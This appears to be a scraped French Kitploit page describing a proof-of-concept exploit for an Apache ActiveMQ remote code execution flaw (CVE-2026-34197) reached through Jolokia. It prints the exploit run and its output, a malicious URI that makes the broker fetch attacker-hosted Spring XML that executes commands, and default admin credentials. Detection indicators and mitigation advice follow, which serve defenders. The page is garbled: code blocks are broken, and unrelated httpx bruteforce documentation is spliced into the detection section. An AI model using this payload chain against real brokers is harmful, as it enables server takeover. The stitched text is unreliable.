Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-34197 — Exploit de preuve de concept pour CVE-2026-34197, démontrant une exécution de code à distance authentifiée dans Apache ActiveMQ via la passerelle Jolokia JMX-HTTP et l'injection de bean Spring XML. | Kitploit
Outils/GitHubGitHub/lat-06/cve-2026-34197
Analyse Dynamique (Sandboxing)Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHublat-06/cve-2026-34197

CVE-2026-34197

Exploit de preuve de concept pour CVE-2026-34197, démontrant une exécution de code à distance authentifiée dans Apache ActiveMQ via la passerelle Jolokia JMX-HTTP et l'injection de bean Spring XML.

3il y a 3 moisPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-34197

Description
Vulnérabilité de validation d’entrée incorrecte et de contrôle incorrect de la génération de code (injection de code) dans Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic expose le pont Jolokia JMX-HTTP à /api/jolokia/ sur la console Web. La politique d’accès par défaut de Jolokia autorise les opérations exec sur tous les MBeans ActiveMQ (org.apache.activemq:*), y compris BrokerService.addNetworkConnector(String) et BrokerService.addConnector(String). Un attaquant authentifié peut invoquer ces opérations avec un URI de découverte spécialement conçu qui déclenche le paramètre brokerConfig du transport VM pour charger un contexte d’application Spring XML distant à l’aide de ResourceXmlApplicationContext. Étant donné que ResourceXmlApplicationContext instancie tous les beans singleton avant que BrokerService ne valide la configuration, l’exécution de code arbitraire se produit sur la JVM du courtier via des méthodes de fabrique de beans telles que Runtime.exec(). Ce problème affecte Apache ActiveMQ Broker : avant 5.19.4, à partir de 6.0.0 avant 6.2.3 ; Apache ActiveMQ All : avant 5.19.4, à partir de 6.0.0 avant 6.2.3 ; Apache ActiveMQ : avant 5.19.4, à partir de 6.0.0 avant 6.2.3. Il est recommandé aux utilisateurs de mettre à niveau vers la version 5.19.4 ou 6.2.3, qui corrige le problème

Plus d'informations sur : lien

Phase d'exploitation

Référence

Github: lien```bash ❯ docker compose up -d

root@kitploit:~
INPUT:```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` Au démarrage du courtier, ActiveMQ enregistre `BrokerView` en tant que MBean de gestion du courtier :```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` Le nom de l'objet est créé comme:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` Dans la distribution par défaut, cela expose le broker MBean en tant que cible Jolokia invocable par HTTP telle que :```text org.apache.activemq:type=Broker,brokerName=localhost ``` Les responsabilités des composants concernés sont les suivantes :

Avec LHOST, il s'agit de l'adresse IP privée de l'ordinateur. Vous pouvez utiliser ipconfig sous Windows ou ifconfig sous Linux

Vérification de la RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE réussie, le fichier `blahblah.txt` a été créé sur le système cible.

# Phase d'analyse
## Analyse dynamique```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Les logs d'exécution ont également confirmé que Jolokia était activé et exposé via la console web ActiveMQ :```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Vérifiez la connexion```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Cela signifie :

  • Jolokia était accessible
  • L'authentification a réussi avec les identifiants par défaut
  • La cible exécutait ActiveMQ 5.18.6
  • L'agent Jolokia a accepté les requêtes authentifiées

Pour lire les logs```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
Ensuite, grep pour la propre chaîne```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Après avoir envoyé la charge utile```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Cette ligne est cruciale car elle confirme que l'URI contrôlée par l'attaquant fournie via :```java
BrokerView.addNetworkConnector(String)

a atteint la couche de transport de la VM sans assainissement.

L'URI malveillant utilisé lors de l'exploitation était :```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
Cette URI contient deux parties importantes :

| Composant       | Objectif                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper utilisé par les connecteurs de découverte ActiveMQ |
| `vm://evil?...` | URI de transport VM traitée en interne par ActiveMQ |

Le wrapper `static:(...)` n'est pas lui-même le composant vulnérable. Son objectif est de passer l'URI de transport encapsulée dans le sous-système de connecteur réseau d'ActiveMQ.

Pendant l'exécution, ActiveMQ a extrait et traité l'URI de transport VM interne :```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Ce comportement a été confirmé dans les journaux d'exécution :```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Le paramètre `brokerConfig=` est la partie cruciale de la charge utile. Il demande à la couche de transport VM de créer dynamiquement une instance de broker en utilisant une configuration Spring xbean externe chargée depuis :```text
http://192.168.1.32:9999/evil.xml

Le préfixe xbean: a amené ActiveMQ à déléguer le traitement au chargeur de contexte XML de Spring :```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
En conséquence, le document XML distant a été analysé et instancié en tant que contexte d'application Spring à l'intérieur de la JVM du courtier.

Le XML malveillant contenait le bean Spring suivant :```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Cette définition de bean a demandé à Spring d'instancier un objet ProcessBuilder et d'invoquer immédiatement sa méthode start() lors de l'initialisation du contexte de l'application.

L'exploit a utilisé la commande suivante:```bash touch /tmp/blahblah.txt

root@kitploit:~
Parce que Spring instancie avec empressement les beans singleton lors de l'initialisation du contexte, la méthode `ProcessBuilder.start()` s'est exécutée avant qu'ActiveMQ n'ait validé si la configuration du broker elle-même était sûre ou valide.

Cela a entraîné l'exécution de commandes arbitraires sur le conteneur cible.

L'exploit a été vérifié en vérifiant le répertoire `/tmp` à l'intérieur du conteneur ActiveMQ :```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Les métadonnées du fichier ont en outre confirmé l'exécution réussie de la commande :```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
Cela prouve que des commandes arbitraires du système d'exploitation ont été exécutées avec succès dans le contexte du conteneur ActiveMQ.

La trace de pile d'exécution a également révélé le chemin complet d'exécution vulnérable :```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Les entrées de trace de pile suivantes ont été observées lors de l'analyse d'exécution :```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
L'une des observations les plus importantes lors de l'analyse dynamique était l'ordre dans lequel Spring et ActiveMQ ont traité la configuration malveillante.

Après l'exécution réussie de la charge utile, ActiveMQ a ensuite généré l'avertissement suivant :```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Ce comportement démontre que :```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Même si la configuration du broker a finalement été rejetée, le bean Spring malveillant avait déjà été instancié et exécuté.

Ce problème d'ordre est le défaut logique central derrière CVE-2026-34197.

L'analyse dynamique a identifié les composants suivants participant à la chaîne d'exploitation :

| Composant                     | Rôle                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | Pont HTTP-vers-JMX                 |
| BrokerView                    | MBean de gestion exposé            |
| VMTransportFactory            | Analyse l'URI de transport `vm://` |
| BrokerFactory                 | Crée une instance de broker        |
| XBeanBrokerFactory            | Charge la configuration Spring xbean |
| ResourceXmlApplicationContext | Charge le XML distant              |
| XmlBeanDefinitionReader       | Analyse les définitions de beans Spring |
| Spring BeanFactory            | Instancie les beans singletons     |
| ProcessBuilder                | Exécute des commandes du système d'exploitation |

L'analyse dynamique confirme que CVE-2026-34197 est causé par l'interaction entre :

* Les opérations de gestion Jolokia trop permissives
* Les URI de transport contrôlées par l'attaquant
* La création automatique du broker de transport VM
* Le chargement de configuration distante Spring xbean
* L'instanciation hâtive des beans singletons avant validation

En conséquence, un attaquant authentifié peut exécuter du code arbitraire sur la JVM ActiveMQ en fournissant une URI `brokerConfig=xbean:http://...` malveillante via l'opération `addNetworkConnector()` exposée par Jolokia.

### Aperçu de l'architecture

Apache ActiveMQ Classic expose une interface de gestion via le pont JMX-HTTP Jolokia disponible à :```text id="n0vmrq"
/api/jolokia/

Jolokia agit comme un pont HTTP-vers-JMX, permettant aux utilisateurs authentifiés d'invoquer les opérations Java Management Extensions (JMX) à distance via HTTP.

Le chemin d'architecture vulnérable identifié lors de l'analyse est présenté ci-dessous :```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
The following components were involved in the exploit chain:

| Component             | Function                                            |
| --------------------- | --------------------------------------------------- |
| Jolokia               | Expose les opérations JMX via HTTP                  |
| BrokerView            | Interface MBean de gestion                          |
| VMTransportFactory    | Traite les URI de transport `vm://`                 |
| BrokerFactory         | Crée dynamiquement des courtiers                    |
| XBeanBrokerFactory    | Charge les configurations Spring xbean              |
| Spring Context Loader | Analyse et instancie les définitions de beans XML   |
| ProcessBuilder        | Exécute les commandes du système d'exploitation     |

L'architecture devient vulnérable car ActiveMQ permet aux utilisateurs authentifiés d'invoquer des méthodes dangereuses de gestion des courtiers avec des URI de transport contrôlées par l'attaquant.

---

### Analyse de la surface d'attaque

La principale surface d'attaque est le point de terminaison HTTP Jolokia exposé via la console web ActiveMQ :```text id="xq7vba"
http://<target>:8161/api/jolokia/

L'analyse de l'exécution a confirmé que l'interface Jolokia était activée par défaut :```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Le point de terminaison Jolokia acceptait les requêtes authentifiées en utilisant l'authentification de base HTTP :```json id="13tzmx"
"authMode":"basic"

L'opération de gestion dangereuse suivante a été exposée :```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
Cette méthode accepte un URI de transport contrôlé par l'utilisateur sans restreindre suffisamment les schémas d'URI dangereux ou les paramètres de configuration.
L'attaquant a fourni la charge utile suivante :```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Ce payload exploite plusieurs fonctionnalités simultanément :

FonctionnalitéAbus
addNetworkConnector()Accepter une URI contrôlée par l'attaquant
Transport vm://Déclencher la création dynamique d'un broker
brokerConfig=Charger une configuration de broker arbitraire
xbean:Invoquer le chargeur Spring XML
URL HTTP distanteRécupérer un XML contrôlé par l'attaquant

La surface d'attaque inclut donc :

  • Exposition de l'API HTTP Jolokia
  • Opérations de gestion JMX faiblement restreintes
  • Analyse dynamique d'URI de transport
  • Chargement de configuration externe du broker
  • Intégration Spring xbean

Analyse de la cause racine

La vulnérabilité est causée par l'interaction entre plusieurs sous-systèmes de confiance au sein d'ActiveMQ.

Le problème central est que les utilisateurs authentifiés de Jolokia peuvent invoquer des opérations de gestion de broker dangereuses avec des URI de transport contrôlées par l'attaquant.

Le flux d'exécution vulnérable identifié lors de l'analyse dynamique est :```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
Le paramètre critique est :```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Ce paramètre indique à la couche de transport VM de créer dynamiquement un broker en utilisant une configuration Spring xbean externe.

Les preuves d'exécution suivantes ont confirmé ce comportement :```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Spring a ensuite chargé le XML distant via :```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Le XML malveillant contenait :```xml id="y6jphd"

root@kitploit:~
Lors de l'initialisation du contexte de l'application Spring, les beans singleton sont instanciés avec empressement. Par conséquent, la méthode `ProcessBuilder.start()` a été exécutée immédiatement.

Le défaut logique clé est que l'instanciation du bean Spring a eu lieu avant qu'ActiveMQ n'ait validé si la configuration du courtier elle-même était sûre ou valide.

Ce comportement a été prouvé dynamiquement car :

1. La charge utile malveillante a créé avec succès `/tmp/blahblah.txt`
2. ActiveMQ a ensuite rejeté la configuration du courtier avec :```text id="6k1dwn"
The configuration has no BrokerService instance

Ceci démontre que l'exécution de code a eu lieu avant la fin de la validation du broker.


Indicateurs de compromission (IOC) et détection

Les indicateurs potentiels de compromission incluent des requêtes Jolokia suspectes ciblant les opérations de gestion ActiveMQ.

Opérations Jolokia suspectes

Recherchez les requêtes invoquant :```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
via:```text id="pt2n3d"
/api/jolokia/

Modèles d'URI suspects

Les fragments d'URI suivants sont de forts indicateurs de tentatives d'exploitation :```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
Exemple de charge utile malveillante :```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Connexions HTTP sortantes

Le courtier peut initier des requêtes sortantes vers une infrastructure contrôlée par un attaquant :```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
Le trafic HTTP sortant inattendu depuis le broker JVM doit être examiné.

#### Journaux d'exécution suspects

Les messages d'exécution suivants sont suspects :```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

Pour vérifier le statut de l'URL en tant que ressource privée, utilisez un nom d'utilisateur et un mot de passe avec -u --username et --password :

root@kitploit:~
echo https://example.com | httpx -probe -u admin -password admin

Bruteforce de répertoire en utilisant l'option path-bruteforce avec -d et une charge utile depuis stdin :

root@kitploit:~
echo https://example.com | httpx -probe -path-bruteforce -d /opt/wordlists/big.txt

Ou vous pouvez aussi utiliser -path-bruteforce sans charge utile, ce qui générera automatiquement des chemins de fichiers/répertoires courants à bruteforcer :

root@kitploit:~
echo https://example.com | httpx -probe -path-bruteforce

Afficher uniquement les chemins correspondants dans la sortie :

root@kitploit:~
echo https://example.com | httpx -path-bruteforce -probe -d /opt/wordlists/big.txt -mr '200'
  • L'option sr active le mode streaming, c'est-à-dire trouver un domaine basé sur la réponse à partir d'une entrée brute. Elle est particulièrement utile pour la reconnaissance d'URLs et de points de terminaison lorsque vous avez une grande liste d'entrées brutes web provenant de n'importe quel outil. Par exemple, vous avez une liste d'URLs de waybackurls et vous voulez les sonder pour leur statut en direct, vous pouvez les passer à httpx via un pipeline avec l'option sr :
root@kitploit:~
waybackurls http://target.com | httpx -silent -sr -fc 404
  • L'option exclude exclut les cibles de l'entrée si elles correspondent et ne les traite pas. Utile lorsque vous exécutez httpx sur un grand ensemble de cibles et que vous obtenez continuellement une sortie. Combinée avec les options lresp et fc, vous pouvez rediriger la sortie et exclure de l'entrée si certaines conditions sont remplies, etc.

  • L'option no-stdin désactive le traitement de stdin. Le drapeau -no-stdin désactive le traitement de stdin qui lit l'entrée provenant d'autres outils et l'attend. httpx a le traitement de stdin activé par défaut.

Ceci, en combinaison avec l'option -list, permet à httpx de fonctionner en mode « bibliothèque », où il peut être importé et utilisé de manière programmatique sans affecter stdin.

  • Options par défaut :```text id="3q2vls" ResourceXmlApplicationContext
root@kitploit:~
ENTRÉE :```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

Artéfacts du système de fichiers

Fichiers inattendus sous :```text id="6x7qcm" /tmp/

root@kitploit:~
ou l'exécution suspecte de processus enfants depuis la JVM ActiveMQ peut indiquer une exploitation.

---

### Analyse d'impact

Une exploitation réussie permet l'exécution de code à distance authentifiée dans le contexte de la JVM ActiveMQ.

Dans l'environnement analysé, des commandes arbitraires du système d'exploitation ont été exécutées avec succès à l'intérieur du conteneur :```bash id="2hyz0w"
touch /tmp/blahblah.txt

Résultat:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
Le fichier a été créé comme :```text id="9phgkz"
Uid: (0/root)

Cela indique que l'exécution de commande a eu lieu avec les privilèges root à l'intérieur du conteneur.

Les impacts potentiels incluent :

ImpactDescription
Remote Code ExecutionExécution de commande arbitraire
Container CompromiseCompromission totale du conteneur ActiveMQ
Credential TheftAccès aux identifiants et secrets du courtier
Lateral MovementPivotage vers des systèmes adjacents
PersistenceCréation de connecteurs réseau malveillants
Data ExposureAccès aux messages et files d'attente du courtier

La sévérité augmente considérablement si :

  • Jolokia est exposé à l'extérieur
  • Les identifiants par défaut restent activés
  • Les conteneurs s'exécutent en tant que root
  • Les hôtes courtiers ont un accès sortant illimité

Atténuation

Mise à niveau vers les versions corrigées

Mettez à niveau ActiveMQ Classic vers :```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### Restreindre l'accès à Jolokia

Désactiver Jolokia si ce n'est pas nécessaire.

Si Jolokia doit rester activé :

* Restreindre l'accès aux réseaux d'administration de confiance
* Appliquer une authentification forte
* Désactiver les opérations exec dangereuses
* Appliquer des politiques d'accès strictes à Jolokia

#### Supprimer les identifiants par défaut

Ne pas utiliser :```text id="9mw1xv"
admin:admin

Restreindre l'accès réseau sortant

Empêcher le broker d'initier des connexions HTTP sortantes arbitraires.

Cela atténue les tentatives de récupération XML à distance.

Désactiver les fonctionnalités dangereuses

Restreindre ou désactiver :

  • Création dynamique de broker
  • Utilisation du transport vm://
  • Chargement de la configuration externe xbean:

Durcir l'environnement d'exécution

  • Exécuter les conteneurs en tant qu'utilisateurs non root
  • Appliquer des restrictions du système de fichiers
  • Utiliser la segmentation réseau
  • Surveiller l'exécution des processus enfants de la JVM

Recommandations de détection

Surveiller :

  • Requêtes vers /api/jolokia/
  • Utilisation de addNetworkConnector
  • Paramètres brokerConfig=
  • URI xbean:
  • Requêtes HTTP sortantes depuis la JVM du broker
  • Processus enfants inattendus générés par Java

Analyse statique

Aperçu du code source

Le chemin vulnérable traverse la couche de gestion web/JMX d'ActiveMQ, la couche réseau du broker, le transport VM, le sous-système de factory broker et le chargement de configuration Spring XBean.

Jolokia est activé dans l'application API web d'ActiveMQ :```xml

  • BrokerView : façade de gestion de courtier orientée JMX. Il expose addNetworkConnector(String) et addConnector(String).
  • BrokerService : objet d'exécution du courtier. Il transforme une adresse de connecteur réseau sous forme de chaîne en URI et crée un DiscoveryNetworkConnector.
  • DiscoveryNetworkConnector : utilise un agent de découverte pour obtenir les URI des services de courtier distants, puis se connecte à chaque URI découverte.
  • TransportFactory : résout un schéma d'URI en une fabrique de transport en utilisant META-INF/services/org/apache/activemq/transport/<scheme>.
  • VMTransportFactory : gère les transports vm:// et peut créer automatiquement un courtier intégré si le courtier VM demandé n'existe pas.
  • BrokerFactory : résout un schéma d'URI de configuration de courtier en utilisant META-INF/services/org/apache/activemq/broker/<scheme>.
  • XBeanBrokerFactory : gère les URI de configuration de courtier xbean: et crée un contexte d'application Spring/XBean.
  • ResourceXmlApplicationContext : charge la ressource XML et effectue l'actualisation de la fabrique de beans Spring, y compris la création de singletons non différés.

La vulnérabilité existe car la méthode de gestion accepte un langage URI ActiveMQ qui n'est pas une donnée passive. Lorsque l'URI est évaluée, elle peut créer des courtiers et charger une configuration XML Spring.


Point d'entrée vulnérable

Le point d'entrée vulnérable est :```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
L'interface MBean expose l'opération comme :```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

L'entrée contrôlée par l'attaquant est l'argument exec de Jolokia passé à discoveryAddress. Dans la version vulnérable, BrokerView.addNetworkConnector() n'effectue aucune validation de schéma, aucune validation d'URI imbriquée et aucun filtrage des paramètres spécifiques au transport avant de passer la chaîne à BrokerService.

BrokerService convertit directement la chaîne en URI :```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
L'objet connecteur est ensuite configuré avec l'URI du courtier local et ajouté au courtier :```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Le contrôle atteint le sous-système de transport lorsque BrokerView démarre le connecteur :```java connector.start();

root@kitploit:~
Pour l'URI de l'exploit :```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

